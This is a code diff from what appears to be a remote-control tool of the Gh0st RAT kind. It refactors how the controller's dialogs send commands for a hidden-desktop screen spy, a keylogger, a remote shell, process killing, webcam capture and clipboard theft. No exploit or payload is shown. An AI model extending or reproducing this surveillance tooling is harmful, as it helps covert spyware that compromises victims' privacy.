m_ContextObject->GetServer()->Disconnect(m_ContextObject);
|
||||
DestroyIcon(m_hIcon);
|
||||
Sleep(200);
|
||||
if (!m_aviFile.IsEmpty()) {
|
||||
@@ -247,7 +247,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
|
||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
|
||||
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
|
||||
BYTE bBuff = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
#ifdef _DEBUG
|
||||
// ShowWindow(SW_MINIMIZE);
|
||||
#endif
|
||||
@@ -447,7 +447,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
return;
|
||||
case IDM_SET_FLUSH: {
|
||||
BYTE bToken = COMMAND_FLUSH_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_CONTROL: {
|
||||
@@ -498,7 +498,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
break;
|
||||
case IDM_GET_CLIPBOARD: { // 获取剪贴板
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SET_CLIPBOARD: { // 设置剪贴板
|
||||
@@ -507,24 +507,24 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
break;
|
||||
case IDM_SETSCERRN: {
|
||||
BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY60: { // 清晰度60
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY85: { // 清晰度85
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY100: { // 清晰度100
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
@@ -543,84 +543,84 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Explorer;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_run: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_run;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Powershell: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Powershell;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Chrome: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Chrome;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Edge: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Edge;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Brave: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Brave;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Firefox: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Firefox;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Iexplore: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Iexplore;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_1: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_1;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_2;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_3: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_3;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_4: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_4;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_zdy: {
|
||||
@@ -635,7 +635,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy;
|
||||
memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
|
||||
}
|
||||
@@ -661,7 +661,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy2;
|
||||
memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
}
|
||||
EnableWindow(TRUE);
|
||||
@@ -671,27 +671,27 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360JS;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_360AQ2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ2;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_close: {
|
||||
LPBYTE lpPacket = new BYTE;
|
||||
lpPacket[0] = COMMAND_HIDE_CLEAR;
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1);
|
||||
m_ContextObject->Send2Client(lpPacket, 1);
|
||||
delete lpPacket;
|
||||
}
|
||||
break;
|
||||
@@ -777,7 +777,7 @@ void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
|
||||
LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
|
||||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1);
|
||||
m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);
|
||||
|
||||
SAFE_DELETE_ARRAY(lpData);
|
||||
}
|
||||
@@ -816,7 +816,7 @@ void CHideScreenSpyDlg::SendServerClipboard()
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen);
|
||||
m_ContextObject->Send2Client(lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
@@ -34,7 +34,7 @@ public:
|
||||
|
||||
VOID SendNext(void) {
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
void OnReceiveComplete();
|
||||
BOOL ParseFrame(void);
|
||||
|
||||
@@ -808,7 +808,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)
|
||||
|
||||
if (ContextObject != NULL)
|
||||
{
|
||||
ContextObject->InitMember(s);
|
||||
ContextObject->InitMember(s, this);
|
||||
}
|
||||
|
||||
return ContextObject;
|
||||
|
||||
@@ -51,7 +51,7 @@ void IOCPUDPServer::PostRecv() {
|
||||
|
||||
AddCount(1);
|
||||
CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
|
||||
ctx->InitMember(m_socket);
|
||||
ctx->InitMember(m_socket, this);
|
||||
|
||||
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
||||
ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
|
||||
|
||||
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
||||
|
||||
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
if (pSysMenu != NULL) {
|
||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
else
|
||||
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
|
||||
} else if (nID == IDM_CLEAR_RECORD) {
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
} else if (nID == IDM_SAVE_RECORD) {
|
||||
SaveRecord();
|
||||
|
||||
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
bToken=COMMAND_REG_FIND;
|
||||
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
|
||||
m_isEnable = TRUE;
|
||||
|
||||
|
||||
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C
|
||||
VOID CScreenSpyDlg::SendNext(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
break;
|
||||
}
|
||||
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
break;
|
||||
}
|
||||
case IDM_SET_CLIPBOARD: //给他
|
||||
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
|
||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(szData + 1, Msg, sizeof(MSG64));
|
||||
szData[length] = 0;
|
||||
m_iocpServer->Send2Client(m_ContextObject, szData, length);
|
||||
m_ContextObject->Send2Client(szData, length);
|
||||
}
|
||||
|
||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
::GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||
m_ContextObject->Send2Client((PBYTE)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
|
||||
@@ -57,11 +57,9 @@ enum {
|
||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||
};
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
class HeaderParser {
|
||||
friend struct CONTEXT_OBJECT;
|
||||
friend class CONTEXT_OBJECT;
|
||||
protected:
|
||||
HeaderParser() {
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
@@ -229,8 +227,31 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
typedef struct CONTEXT_OBJECT
|
||||
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
class Server
|
||||
{
|
||||
public:
|
||||
friend class CONTEXT_OBJECT;
|
||||
|
||||
Server() {}
|
||||
virtual ~Server() {}
|
||||
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||||
|
||||
virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||
|
||||
virtual void UpdateMaxConnection(int maxConn) {}
|
||||
|
||||
virtual void Destroy() {}
|
||||
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||
};
|
||||
|
||||
typedef class CONTEXT_OBJECT
|
||||
{
|
||||
public:
|
||||
CString sClientInfo[ONLINELIST_MAX];
|
||||
CString additonalInfo[RES_MAX];
|
||||
SOCKET sClientSocket;
|
||||
@@ -250,10 +271,11 @@ typedef struct CONTEXT_OBJECT
|
||||
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int addrLen; // for UDP
|
||||
sockaddr_in clientAddr; // for UDP
|
||||
|
||||
VOID InitMember(SOCKET s)
|
||||
VOID InitMember(SOCKET s, Server *svr)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||
hWnd = NULL;
|
||||
@@ -273,9 +295,17 @@ typedef struct CONTEXT_OBJECT
|
||||
Parser.Reset();
|
||||
bLogin = FALSE;
|
||||
m_bProxyConnected = FALSE;
|
||||
server = svr;
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
Server* GetServer() {
|
||||
return server;
|
||||
}
|
||||
VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||
if (server)
|
||||
server->Send2Client(this, szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++)
|
||||
{
|
||||
@@ -396,23 +426,3 @@ typedef struct CONTEXT_OBJECT
|
||||
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
class Server
|
||||
{
|
||||
public:
|
||||
Server(){}
|
||||
virtual ~Server(){}
|
||||
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||||
|
||||
virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||
|
||||
virtual void UpdateMaxConnection(int maxConn){}
|
||||
|
||||
virtual void Destroy(){}
|
||||
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||
};
|
||||
|
||||
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
|
||||
void CServicesDlg::OnServicesReflash()
|
||||
{
|
||||
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
|
||||
|
||||
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
m_Edit.SetWindowTextA(">>");
|
||||
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
||||
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
return TRUE;
|
||||
}
|
||||
int length = str.GetLength() - m_nCurSel;
|
||||
m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
|
||||
m_ContextObject->Send2Client(pSrc, length);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||
|
||||
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
|
||||
Sleep(100);
|
||||
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
|
||||
VOID CSystemDlg::GetProcessList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_PSLIST;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
|
||||
void CSystemDlg::GetWindowsList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_NORMAL;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MAXIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
|
||||
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
|
||||
|
||||
m_EditTalk.SetWindowText(NULL);
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
||||
m_ContextObject->Send2Client((LPBYTE)szBuffer, strlen(szBuffer));
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
|
||||
m_pVideoCodec = NULL;
|
||||
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||
}
|
||||
}
|
||||
